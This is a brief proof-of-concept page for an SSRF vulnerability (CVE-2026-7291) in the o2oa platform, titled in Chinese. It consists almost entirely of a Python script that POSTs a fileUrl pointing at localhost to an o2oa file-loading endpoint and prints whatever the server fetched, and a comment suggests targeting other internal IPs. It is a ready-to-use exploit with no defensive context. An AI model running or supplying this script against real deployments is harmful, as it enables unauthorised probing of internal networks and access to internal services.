CVE-2026-7291 o2oa服务器端请求伪造漏洞

import requests # Example PoC for CVE-2026-7291 # Target URL structure may vary based on deployment target_url = "http://<target_ip>:<port>/x_program_center/jaxrs/file/test/load" # Malicious payload targeting internal localhost # Change fileUrl to other internal IPs as needed payload = { "fileUrl": "http://127.0.0.1:8080" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")